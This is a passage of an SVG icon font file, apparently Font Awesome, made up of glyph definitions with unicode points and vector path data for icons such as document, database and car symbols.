q76 0 141.5 -55.5t100.5 -134t35 -152.5zM832 608q118 0 255 -97.5t229 -237t92 -254.5q0 -46 -17 -76.5t-48.5 -45t-64.5 -20t-76 -5.5q-68 0 -187.5 45t-182.5 45q-66 0 -192.5 -44.5t-200.5 -44.5q-183 0 -183 146q0 86 56 191.5t139.5 192.5t187.5 146t193 59zM1071 819
q-61 0 -105 39t-63 92.5t-19 113.5q0 74 30 151.5t91.5 135t138.5 57.5q61 0 105 -39t63 -92.5t19 -113.5q0 -73 -30 -151t-92 -135.5t-138 -57.5zM1503 923q77 0 119 -59.5t42 -139.5q0 -74 -35 -152t-100.5 -133.5t-141.5 -55.5q-77 0 -119 59t-42 139q0 74 35 152.5
t100.5 134t141.5 55.5z" />
    <glyph glyph-name="_406" unicode="&#xf1b1;" horiz-adv-x="768" 
d="M704 1008q0 -145 -57 -243.5t-152 -135.5l45 -821q2 -26 -16 -45t-44 -19h-192q-26 0 -44 19t-16 45l45 821q-95 37 -152 135.5t-57 243.5q0 128 42.5 249.5t117.5 200t160 78.5t160 -78.5t117.5 -200t42.5 -249.5z" />
    <glyph glyph-name="_407" unicode="&#xf1b2;" horiz-adv-x="1792" 
d="M896 -93l640 349v636l-640 -233v-752zM832 772l698 254l-698 254l-698 -254zM1664 1024v-768q0 -35 -18 -65t-49 -47l-704 -384q-28 -16 -61 -16t-61 16l-704 384q-31 17 -49 47t-18 65v768q0 40 23 73t61 47l704 256q22 8 44 8t44 -8l704 -256q38 -14 61 -47t23 -73z
" />
    <glyph glyph-name="_408" unicode="&#xf1b3;" horiz-adv-x="2304" 
d="M640 -96l384 192v314l-384 -164v-342zM576 358l404 173l-404 173l-404 -173zM1664 -96l384 192v314l-384 -164v-342zM1600 358l404 173l-404 173l-404 -173zM1152 651l384 165v266l-384 -164v-267zM1088 1030l441 189l-441 189l-441 -189zM2176 512v-416q0 -36 -19 -67
t-52 -47l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-4 2 -7 4q-2 -2 -7 -4l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-33 16 -52 47t-19 67v416q0 38 21.5 70t56.5 48l434 186v400q0 38 21.5 70t56.5 48l448 192q23 10 50 10t50 -10l448 -192q35 -16 56.5 -48t21.5 -70
v-400l434 -186q36 -16 57 -48t21 -70z" />
    <glyph glyph-name="_409" unicode="&#xf1b4;" horiz-adv-x="2048" 
d="M1848 1197h-511v-124h511v124zM1596 771q-90 0 -146 -52.5t-62 -142.5h408q-18 195 -200 195zM1612 186q63 0 122 32t76 87h221q-100 -307 -427 -307q-214 0 -340.5 132t-126.5 347q0 208 130.5 345.5t336.5 137.5q138 0 240.5 -68t153 -179t50.5 -248q0 -17 -2 -47h-658
q0 -111 57.5 -171.5t166.5 -60.5zM277 236h296q205 0 205 167q0 180 -199 180h-302v-347zM277 773h281q78 0 123.5 36.5t45.5 113.5q0 144 -190 144h-260v-294zM0 1282h594q87 0 155 -14t126.5 -47.5t90 -96.5t31.5 -154q0 -181 -172 -263q114 -32 172 -115t58 -204
q0 -75 -24.5 -136.5t-66 -103.5t-98.5 -71t-121 -42t-134 -13h-611v1260z" />
    <glyph glyph-name="_410" unicode="&#xf1b5;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM499 1041h-371v-787h382q117 0 197 57.5t80 170.5q0 158 -143 200q107 52 107 164q0 57 -19.5 96.5
t-56.5 60.5t-79 29.5t-97 8.5zM477 723h-176v184h163q119 0 119 -90q0 -94 -106 -94zM486 388h-185v217h189q124 0 124 -113q0 -104 -128 -104zM1136 356q-68 0 -104 38t-36 107h411q1 10 1 30q0 132 -74.5 220.5t-203.5 88.5q-128 0 -210 -86t-82 -216q0 -135 79 -217
t213 -82q205 0 267 191h-138q-11 -34 -47.5 -54t-75.5 -20zM1126 722q113 0 124 -122h-254q4 56 39 89t91 33zM964 988h319v-77h-319v77z" />
    <glyph glyph-name="_411" unicode="&#xf1b6;" horiz-adv-x="1792" 
d="M1582 954q0 -101 -71.5 -172.5t-172.5 -71.5t-172.5 71.5t-71.5 172.5t71.5 172.5t172.5 71.5t172.5 -71.5t71.5 -172.5zM812 212q0 104 -73 177t-177 73q-27 0 -54 -6l104 -42q77 -31 109.5 -106.5t1.5 -151.5q-31 -77 -107 -109t-152 -1q-21 8 -62 24.5t-61 24.5
q32 -60 91 -96.5t130 -36.5q104 0 177 73t73 177zM1642 953q0 126 -89.5 215.5t-215.5 89.5q-127 0 -216.5 -89.5t-89.5 -215.5q0 -127 89.5 -216t216.5 -89q126 0 215.5 89t89.5 216zM1792 953q0 -189 -133.5 -322t-321.5 -133l-437 -319q-12 -129 -109 -218t-229 -89
q-121 0 -214 76t-118 192l-230 92v429l389 -157q79 48 173 48q13 0 35 -2l284 407q2 187 135.5 319t320.5 132q188 0 321.5 -133.5t133.5 -321.5z" />
    <glyph glyph-name="_412" unicode="&#xf1b7;" 
d="M1242 889q0 80 -57 136.5t-137 56.5t-136.5 -57t-56.5 -136q0 -80 56.5 -136.5t136.5 -56.5t137 56.5t57 136.5zM632 301q0 -83 -58 -140.5t-140 -57.5q-56 0 -103 29t-72 77q52 -20 98 -40q60 -24 120 1.5t85 86.5q24 60 -1.5 120t-86.5 84l-82 33q22 5 42 5
q82 0 140 -57.5t58 -140.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v153l172 -69q20 -92 93.5 -152t168.5 -60q104 0 181 70t87 173l345 252q150 0 255.5 105.5t105.5 254.5q0 150 -105.5 255.5t-255.5 105.5
q-148 0 -253 -104.5t-107 -252.5l-225 -322q-9 1 -28 1q-75 0 -137 -37l-297 119v468q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5zM1289 887q0 -100 -71 -170.5t-171 -70.5t-170.5 70.5t-70.5 170.5t70.5 171t170.5 71q101 0 171.5 -70.5t70.5 -171.5z
" />
    <glyph glyph-name="_413" unicode="&#xf1b8;" horiz-adv-x="1792" 
d="M836 367l-15 -368l-2 -22l-420 29q-36 3 -67 31.5t-47 65.5q-11 27 -14.5 55t4 65t12 55t21.5 64t19 53q78 -12 509 -28zM449 953l180 -379l-147 92q-63 -72 -111.5 -144.5t-72.5 -125t-39.5 -94.5t-18.5 -63l-4 -21l-190 357q-17 26 -18 56t6 47l8 18q35 63 114 188
l-140 86zM1680 436l-188 -359q-12 -29 -36.5 -46.5t-43.5 -20.5l-18 -4q-71 -7 -219 -12l8 -164l-230 367l211 362l7 -173q170 -16 283 -5t170 33zM895 1360q-47 -63 -265 -435l-317 187l-19 12l225 356q20 31 60 45t80 10q24 -2 48.5 -12t42 -21t41.5 -33t36 -34.5
t36 -39.5t32 -35zM1550 1053l212 -363q18 -37 12.5 -76t-27.5 -74q-13 -20 -33 -37t-38 -28t-48.5 -22t-47 -16t-51.5 -14t-46 -12q-34 72 -265 436l313 195zM1407 1279l142 83l-220 -373l-419 20l151 86q-34 89 -75 166t-75.5 123.5t-64.5 80t-47 46.5l-17 13l405 -1
q31 3 58 -10.5t39 -28.5l11 -15q39 -61 112 -190z" />
    <glyph glyph-name="_414" unicode="&#xf1b9;" horiz-adv-x="2048" 
d="M480 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM516 768h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5zM1888 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM2048 544v-384
q0 -14 -9 -23t-23 -9h-96v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-1024v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5t179 63.5h768q98 0 179 -63.5t104 -157.5
l105 -419h28q93 0 158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="_415" unicode="&#xf1ba;" horiz-adv-x="2048" 
d="M1824 640q93 0 158.5 -65.5t65.5 -158.5v-384q0 -14 -9 -23t-23 -9h-96v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-1024v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5
t179 63.5h128v224q0 14 9 23t23 9h448q14 0 23 -9t9 -23v-224h128q98 0 179 -63.5t104 -157.5l105 -419h28zM320 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM516 640h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5z
M1728 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47z" />
    <glyph glyph-name="_416" unicode="&#xf1bb;" 
d="M1504 64q0 -26 -19 -45t-45 -19h-462q1 -17 6 -87.5t5 -108.5q0 -25 -18 -42.5t-43 -17.5h-320q-25 0 -43 17.5t-18 42.5q0 38 5 108.5t6 87.5h-462q-26 0 -45 19t-19 45t19 45l402 403h-229q-26 0 -45 19t-19 45t19 45l402 403h-197q-26 0 -45 19t-19 45t19 45l384 384
q19 19 45 19t45 -19l384 -384q19 -19 19 -45t-19 -45t-45 -19h-197l402 -403q19 -19 19 -45t-19 -45t-45 -19h-229l402 -403q19 -19 19 -45z" />
    <glyph glyph-name="_417" unicode="&#xf1bc;" 
d="M1127 326q0 32 -30 51q-193 115 -447 115q-133 0 -287 -34q-42 -9 -42 -52q0 -20 13.5 -34.5t35.5 -14.5q5 0 37 8q132 27 243 27q226 0 397 -103q19 -11 33 -11q19 0 33 13.5t14 34.5zM1223 541q0 40 -35 61q-237 141 -548 141q-153 0 -303 -42q-48 -13 -48 -64
q0 -25 17.5 -42.5t42.5 -17.5q7 0 37 8q122 33 251 33q279 0 488 -124q24 -13 38 -13q25 0 42.5 17.5t17.5 42.5zM1331 789q0 47 -40 70q-126 73 -293 110.5t-343 37.5q-204 0 -364 -47q-23 -7 -38.5 -25.5t-15.5 -48.5q0 -31 20.5 -52t51.5 -21q11 0 40 8q133 37 307 37
q159 0 309.5 -34t253.5 -95q21 -12 40 -12q29 0 50.5 20.5t21.5 51.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_418" unicode="&#xf1bd;" horiz-adv-x="1024" 
d="M1024 1233l-303 -582l24 -31h279v-415h-507l-44 -30l-142 -273l-30 -30h-301v303l303 583l-24 30h-279v415h507l44 30l142 273l30 30h301v-303z" />
    <glyph glyph-name="_419" unicode="&#xf1be;" horiz-adv-x="2304" 
d="M784 164l16 241l-16 523q-1 10 -7.5 17t-16.5 7q-9 0 -16 -7t-7 -17l-14 -523l14 -241q1 -10 7.5 -16.5t15.5 -6.5q22 0 24 23zM1080 193l11 211l-12 586q0 16 -13 24q-8 5 -16 5t-16 -5q-13 -8 -13 -24l-1 -6l-10 -579q0 -1 11 -236v-1q0 -10 6 -17q9 -11 23 -11
q11 0 20 9q9 7 9 20zM35 533l20 -128l-20 -126q-2 -9 -9 -9t-9 9l-17 126l17 128q2 9 9 9t9 -9zM121 612l26 -207l-26 -203q-2 -9 -10 -9q-9 0 -9 10l-23 202l23 207q0 9 9 9q8 0 10 -9zM401 159zM213 650l25 -245l-25 -237q0 -11 -11 -11q-10 0 -12 11l-21 237l21 245
q2 12 12 12q11 0 11 -12zM307 657l23 -252l-23 -244q-2 -13 -14 -13q-13 0 -13 13l-21 244l21 252q0 13 13 13q12 0 14 -13zM401 639l21 -234l-21 -246q-2 -16 -16 -16q-6 0 -10.5 4.5t-4.5 11.5l-20 246l20 234q0 6 4.5 10.5t10.5 4.5q14 0 16 -15zM784 164zM495 785
l21 -380l-21 -246q0 -7 -5 -12.5t-12 -5.5q-16 0 -18 18l-18 246l18 380q2 18 18 18q7 0 12 -5.5t5 -12.5zM589 871l19 -468l-19 -244q0 -8 -5.5 -13.5t-13.5 -5.5q-18 0 -20 19l-16 244l16 468q2 19 20 19q8 0 13.5 -5.5t5.5 -13.5zM687 911l18 -506l-18 -242
q-2 -21 -22 -21q-19 0 -21 21l-16 242l16 506q0 9 6.5 15.5t14.5 6.5q9 0 15 -6.5t7 -15.5zM1079 169v0v0v0zM881 915l15 -510l-15 -239q0 -10 -7.5 -17.5t-17.5 -7.5t-17 7t-8 18l-14 239l14 510q0 11 7.5 18t17.5 7t17.5 -7t7.5 -18zM980 896l14 -492l-14 -236
q0 -11 -8 -19t-19 -8t-19 8t-9 19l-12 236l12 492q1 12 9 20t19 8t18.5 -8t8.5 -20zM1192 404l-14 -231v0q0 -13 -9 -22t-22 -9t-22 9t-10 22l-6 114l-6 117l12 636v3q2 15 12 24q9 7 20 7q8 0 15 -5q14 -8 16 -26zM2304 423q0 -117 -83 -199.5t-200 -82.5h-786
q-13 2 -22 11t-9 22v899q0 23 28 33q85 34 181 34q195 0 338 -131.5t160 -323.5q53 22 110 22q117 0 200 -83t83 -201z" />
    <glyph glyph-name="uniF1C0" unicode="&#xf1c0;" 
d="M768 768q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 0q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127
t443 -43zM768 384q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 1536q208 0 385 -34.5t280 -93.5t103 -128v-128q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5
t-103 128v128q0 69 103 128t280 93.5t385 34.5z" />
    <glyph glyph-name="uniF1C1" unicode="&#xf1c1;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M894 465q33 -26 84 -56q59 7 117 7q147 0 177 -49q16 -22 2 -52q0 -1 -1 -2l-2 -2v-1q-6 -38 -71 -38q-48 0 -115 20t-130 53q-221 -24 -392 -83q-153 -262 -242 -262q-15 0 -28 7l-24 12q-1 1 -6 5q-10 10 -6 36q9 40 56 91.5t132 96.5q14 9 23 -6q2 -2 2 -4q52 85 107 197
q68 136 104 262q-24 82 -30.5 159.5t6.5 127.5q11 40 42 40h21h1q23 0 35 -15q18 -21 9 -68q-2 -6 -4 -8q1 -3 1 -8v-30q-2 -123 -14 -192q55 -164 146 -238zM318 54q52 24 137 158q-51 -40 -87.5 -84t-49.5 -74zM716 974q-15 -42 -2 -132q1 7 7 44q0 3 7 43q1 4 4 8
q-1 1 -1 2q-1 2 -1 3q-1 22 -13 36q0 -1 -1 -2v-2zM592 313q135 54 284 81q-2 1 -13 9.5t-16 13.5q-76 67 -127 176q-27 -86 -83 -197q-30 -56 -45 -83zM1238 329q-24 24 -140 24q76 -28 124 -28q14 0 18 1q0 1 -2 3z" />
    <glyph glyph-name="_422" unicode="&#xf1c2;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M233 768v-107h70l164 -661h159l128 485q7 20 10 46q2 16 2 24h4l3 -24q1 -3 3.5 -20t5.5 -26l128 -485h159l164 661h70v107h-300v-107h90l-99 -438q-5 -20 -7 -46l-2 -21h-4q0 3 -0.5 6.5t-1.5 8t-1 6.5q-1 5 -4 21t-5 25l-144 545h-114l-144 -545q-2 -9 -4.5 -24.5
t-3.5 -21.5l-4 -21h-4l-2 21q-2 26 -7 46l-99 438h90v107h-300z" />
    <glyph glyph-name="_423" unicode="&#xf1c3;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M429 106v-106h281v106h-75l103 161q5 7 10 16.5t7.5 13.5t3.5 4h2q1 -4 5 -10q2 -4 4.5 -7.5t6 -8t6.5 -8.5l107 -161h-76v-106h291v106h-68l-192 273l195 282h67v107h-279v-107h74l-103 -159q-4 -7 -10 -16.5t-9 -13.5l-2 -3h-2q-1 4 -5 10q-6 11 -17 23l-106 159h76v107
h-290v-107h68l189 -272l-194 -283h-68z" />
    <glyph glyph-name="_424" unicode="&#xf1c4;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M416 106v-106h327v106h-93v167h137q76 0 118 15q67 23 106.5 87t39.5 146q0 81 -37 141t-100 87q-48 19 -130 19h-368v-107h92v-555h-92zM769 386h-119v268h120q52 0 83 -18q56 -33 56 -115q0 -89 -62 -120q-31 -15 -78 -15z" />
    <glyph glyph-name="_425" unicode="&#xf1c5;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M1280 320v-320h-1024v192l192 192l128 -128l384 384zM448 512q-80 0 -136 56t-56 136t56 136t136 56t136 -56t56 -136t-56 -136t-136 -56z" />
    <glyph glyph-name="_426" unicode="&#xf1c6;" 
d="M640 1152v128h-128v-128h128zM768 1024v128h-128v-128h128zM640 896v128h-128v-128h128zM768 768v128h-128v-128h128zM1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400
v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-128v-128h-128v128h-512v-1536h1280zM781 593l107 -349q8 -27 8 -52q0 -83 -72.5 -137.5t-183.5 -54.5t-183.5 54.5t-72.5 137.5q0 25 8 52q21 63 120 396v128h128v-128h79
q22 0 39 -13t23 -34zM640 128q53 0 90.5 19t37.5 45t-37.5 45t-90.5 19t-90.5 -19t-37.5 -45t37.5 -45t90.5 -19z" />
    <glyph glyph-name="_427" unicode="&#xf1c7;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M620 686q20 -8 20 -30v-544q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-166 167h-131q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h131l166 167q16 15 35 7zM1037 -3q31 0 50 24q129 159 129 363t-129 363q-16 21 -43 24t-47 -14q-21 -17 -23.5 -43.5t14.5 -47.5
q100 -123 100 -282t-100 -282q-17 -21 -14.5 -47.5t23.5 -42.5q18 -15 40 -15zM826 145q27 0 47 20q87 93 87 219t-87 219q-18 19 -45 20t-46 -17t-20 -44.5t18 -46.5q52 -57 52 -131t-52 -131q-19 -20 -18 -46.5t20 -44.5q20 -17 44 -17z" />
    <glyph glyph-name="_428" unicode="&#xf1c8;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M768 768q52 0 90 -38t38 -90v-384q0 -52 -38 -90t-90 -38h-384q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h384zM1260 766q20 -8 20 -30v-576q0 -22 -20 -30q-8 -2 -12 -2q-14 0 -23 9l-265 266v90l265 266q9 9 23 9q4 0 12 -2z" />
    <glyph glyph-name="_429" unicode="&#xf1c9;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M480 768q8 11 21 12.5t24 -6.5l51 -38q11 -8 12.5 -21t-6.5 -24l-182 -243l182 -243q8 -11 6.5 -24t-12.5 -21l-51 -38q-11 -8 -24 -6.5t-21 12.5l-226 301q-14 19 0 38zM1282 467q14 -19 0 -38l-226 -301q-8 -11 -21 -12.5t-24 6.5l-51 38q-11 8 -12.5 21t6.5 24l182 243
l-182 243q-8 11 -6.5 24t12.5 21l51 38q11 8 24 6.5t21 -12.5zM662 6q-13 2 -20.5 13t-5.5 24l138 831q2 13 13 20.5t24 5.5l63 -10q13 -2 20.5 -13t5.5 -24l-138 -831q-2 -13 -13 -20.5t-24 -5.5z" />
    <glyph glyph-name="_430" unicode="&#xf1ca;" 
d="M1497 709v-198q-101 -23 -198 -23q-65 -136 -165.5 -271t-181.5 -215.5t-128 -106.5q-80 -45 -162 3q-28 17 -60.5 43.5t-85 83.5t-102.5 128.5t-107.5 184t-105.5 244t-91.5 314.5t-70.5 390h283q26 -218 70 -398.5t104.5 -317t121.5 -235.5t140 -195q169 169 287 406
q-142 72 -223 220t-81 333q0 192 104 314.5t284 122.5q178 0 273 -105.5t95 -297.5q0 -159 -58 -286q-7 -1 -19.5 -3t-46 -2t-63 6t-62 25.5t-50.5 51.5q31 103 31 184q0 87 -29 132t-79 45q-53 0 -85 -49.5t-32 -140.5q0 -186 105 -293.5t267 -107.5q62 0 121 14z" />
    <glyph glyph-name="_431" unicode="&#xf1cb;" horiz-adv-x="1792" 
d="M216 367l603 -402v359l-334 223zM154 511l193 129l-193 129v-258zM973 -35l603 402l-269 180l-334 -223v-359zM896 458l272 182l-272 182l-272 -182zM485 733l334 223v359l-603 -402zM1445 640l193 -129v258zM1307 733l269 180l-603 402v-359zM1792 913v-546
q0 -41 -34 -64l-819 -546q-21 -13 -43 -13t-43 13l-819 546q-34 23 -34 64v546q0 41 34 64l819 546q21 13 43 13t43 -13l819 -546q34 -23 34 -64z" />
    <glyph glyph-name="_432" unicode="&#xf1cc;" horiz-adv-x="2048" 
d="M1800 764q111 -46 179.5 -145.5t68.5 -221.5q0 -164 -118 -280.5t-285 -116.5q-4 0 -11.5 0.5t-10.5 0.5h-1209h-1h-2h-5q-170 10 -288 125.5t-118 280.5q0 110 55 203t147 147q-12 39 -12 82q0 115 82 196t199 81q95 0 172 -58q75 154 222.5 248t326.5 94
q166 0 306 -80.5t221.5 -218.5t81.5 -301q0 -6 -0.5 -18t-0.5 -18zM468 498q0 -122 84 -193t208 -71q137 0 240 99q-16 20 -47.5 56.5t-43.5 50.5q-67 -65 -144 -65q-55 0 -93.5 33.5t-38.5 87.5q0 53 38.5 87t91.5 34q44 0 84.5 -21t73 -55t65 -75t69 -82t77 -75t97 -55
t121.5 -21q121 0 204.5 71.5t83.5 190.5q0 121 -84 192t-207 71q-143 0 -241 -97l93 -108q66 64 142 64q52 0 92 -33t40 -84q0 -57 -37 -91.5t-94 -34.5q-43 0 -82.5 21t-72 55t-65.5 75t-69.5 82t-77.5 75t-96.5 55t-118.5 21q-122 0 -207 -70.5t-85 -189.5z" />
    <glyph glyph-name="_433" unicode="&#xf1cd;" horiz-adv-x="1792" 
d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 1408q-190 0 -361 -90l194 -194q82 28 167 28t167 -28l194 194q-171 90 -361 90zM218 279l194 194
q-28 82 -28 167t28 167l-194 194q-90 -171 -90 -361t90 -361zM896 -128q190 0 361 90l-194 194q-82 -28 -167 -28t-167 28l-194 -194q171 -90 361 -90zM896 256q159 0 271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5
t271.5 -112.5zM1380 473l194 -194q90 171 90 361t-90 361l-194 -194q28 -82 28 -167t-28 -167z" />
    <glyph glyph-name="_434" unicode="&#xf1ce;" horiz-adv-x="1792" 
d="M1760 640q0 -176 -68.5 -336t-184 -275.5t-275.5 -184t-336 -68.5t-336 68.5t-275.5 184t-184 275.5t-68.5 336q0 213 97 398.5t265 305.5t374 151v-228q-221 -45 -366.5 -221t-145.5 -406q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5
t136.5 204t51 248.5q0 230 -145.5 406t-366.5 221v228q206 -31 374 -151t265 -305.5t97 -398.5z" />
    <glyph glyph-name="uniF1D0" unicode="&#xf1d0;" horiz-adv-x="1792" 
d="M19 662q8 217 116 406t305 318h5q0 -1 -1 -3q-8 -8 -28 -33.5t-52 -76.5t-60 -110.5t-44.5 -135.5t-14 -150.5t39 -157.5t108.5 -154q50 -50 102 -69.5t90.5 -11.5t69.5 23.5t47 32.5l16 16q39 51 53 116.5t6.5 122.5t-21 107t-26.5 80l-14 29q-10 25 -30.5 49.5t-43 41
t-43.5 29.5t-35 19l-13 6l104 115q39 -17 78 -52t59 -61l19 -27q1 48 -18.5 103.5t-40.5 87.5l-20 31l161 183l160 -181q-33 -46 -52.5 -102.5t-22.5 -90.5l-4 -33q22 37 61.5 72.5t67.5 52.5l28 17l103 -115q-44 -14 -85 -50t-60 -65l-19 -29q-31 -56 -48 -133.5t-7 -170
t57 -156.5q33 -45 77.5 -60.5t85 -5.5t76 26.5t57.5 33.5l21 16q60 53 96.5 115t48.5 121.5t10 121.5t-18 118t-37 107.5t-45.5 93t-45 72t-34.5 47.5l-13 17q-14 13 -7 13l10 -3q40 -29 62.5 -46t62 -50t64 -58t58.5 -65t55.5 -77t45.5 -88t38 -103t23.5 -117t10.5 -136
q3 -259 -108 -465t-312 -321t-456 -115q-185 0 -351 74t-283.5 198t-184 293t-60.5 353z" />
    <glyph glyph-name="uniF1D1" unicode="&#xf1d1;" horiz-adv-x="1792" 
d="M874 -102v-66q-208 6 -385 109.5t-283 275.5l58 34q29 -49 73 -99l65 57q148 -168 368 -212l-17 -86q65 -12 121 -13zM276 428l-83 -28q22 -60 49 -112l-57 -33q-98 180 -98 385t98 385l57 -33q-30 -56 -49 -112l82 -28q-35 -100 -35 -212q0 -109 36 -212zM1528 251
l58 -34q-106 -172 -283 -275.5t-385 -109.5v66q56 1 121 13l-17 86q220 44 368 212l65 -57q44 50 73 99zM1377 805l-233 -80q14 -42 14 -85t-14 -85l232 -80q-31 -92 -98 -169l-185 162q-57 -67 -147 -85l48 -241q-52 -10 -98 -10t-98 10l48 241q-90 18 -147 85l-185 -162
q-67 77 -98 169l232 80q-14 42 -14 85t14 85l-233 80q33 93 99 169l185 -162q59 68 147 86l-48 240q44 10 98 10t98 -10l-48 -240q88 -18 147 -86l185 162q66 -76 99 -169zM874 1448v-66q-65 -2 -121 -13l17 -86q-220 -42 -368 -211l-65 56q-38 -42 -73 -98l-57 33
q106 172 282 275.5t385 109.5zM1705 640q0 -205 -98 -385l-57 33q27 52 49 112l-83 28q36 103 36 212q0 112 -35 212l82 28q-19 56 -49 112l57 33q98 -180 98 -385zM1585 1063l-57 -33q-35 56 -73 98l-65 -56q-148 169 -368 211l17 86q-56 11 -121 13v66q209 -6 385 -109.5
t282 -275.5zM1748 640q0 173 -67.5 331t-181.5 272t-272 181.5t-331 67.5t-331 -67.5t-272 -181.5t-181.5 -272t-67.5 -331t67.5 -331t181.5 -272t272 -181.5t331 -67.5t331 67.5t272 181.5t181.5 272t67.5 331zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71
t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF1D2" unicode="&#xf1d2;" 
d="M582 228q0 -66 -93 -66q-107 0 -107 63q0 64 98 64q102 0 102 -61zM546 694q0 -85 -74 -85q-77 0 -77 84q0 90 77 90q36 0 55 -25.5t19 -63.5zM712 769v125q-78 -29 -135 -29q-50 29 -110 29q-86 0 -145 -57t-59 -143q0 -50 29.5 -102t73.5 -67v-3q-38 -17 -38 -85
